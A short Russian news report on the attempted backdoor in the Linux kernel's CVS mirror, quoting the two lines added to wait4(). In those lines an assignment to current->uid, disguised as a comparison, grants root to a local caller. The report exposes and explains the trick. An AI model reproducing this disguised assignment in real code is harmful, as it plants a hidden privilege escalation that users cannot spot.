Преамбула: для поддержки разработки ядра Linux используется не CVS, а BitKeeper. Соответственно, львиная доля публикуемых ядер (и все ядра, публикуемые на kernel.org) берутся из BitKeeper. Для тех, кто по разным причинам не хочет или не может пользоваться BitKeeper, группа добровольцев поддерживает CVS-зеркало. Изменения в ядре никогда не вносятся напрямую в CVS, только через BitKeeper.
Собственно новость состоит в том, что 6 ноября уже во второй раз (первый был обнаружен 5 ноября, и о нем уже сообщалось) была предпринята попытка внести "небольшое изменение" в CVS-зеркало ядра. Изменение состояло в добавлении двух строк в системный вызов wait4():
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
Выглядит как проверка входных параметров, но если посмотреть на выражение current->uid = 0, то становится ясно, что локальный процесс, вызывающий wait4() с указанным значением options, получает права суперпользователя...